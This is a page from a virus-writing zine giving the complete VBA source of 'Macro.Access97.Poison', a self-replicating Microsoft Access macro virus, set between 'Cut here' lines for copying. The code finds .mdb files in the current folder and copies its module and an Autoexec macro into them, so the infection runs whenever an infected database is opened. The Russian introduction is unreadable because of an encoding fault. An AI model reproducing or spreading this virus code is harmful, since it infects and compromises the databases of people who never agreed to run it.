- [Duke's Virus Labs #8] - [Page 22] -

Macro.Access97.Poison
(c) by ULTRAS


   ࠦ   MS Access.  ࠦ   頥 ਯ
Autoexec     ⥫    "AcPoison". 
 ᮤন  ணࠬ:

ULTRAS

 ⨨ ࠦ  ⮬᪨ 㦠 ணࠬ "ULTRAS"
   ࠦ    ⥪饬 ⠫ (䠩  ७
 .MDB).

===== Cut here =====
Attribute VB_Name = "ULTRAS"
Option Compare Database
Option Explicit
Function ULTRAS()
'POiSoN BY ULTRAS
'ultras2@usa.net
On Error Resume Next
Dim U, FName, CDName, Infect, POiSON As String
Infect = False
CDName = CurDir & "\"
FName = Dir(CDName & "*.mdb")
If FName <> "" Then
POiSON = CDName & FName
For U = 1 To Application.Modules.Count
If Application.Modules(U).Name = "AcPoison" Then
Infect = True
End If
Next
End If
If Infect = False Then
Application.DoCmd.TransferDatabase acExport, "Microsoft Access", POiSON, acModule, "AcPoison", "AcPoison"
Application.DoCmd.TransferDatabase acExport, "Microsoft Access", POiSON, acMacro, "Autoexec", "Autoexec"
End If
End Function
===== Cut here =====
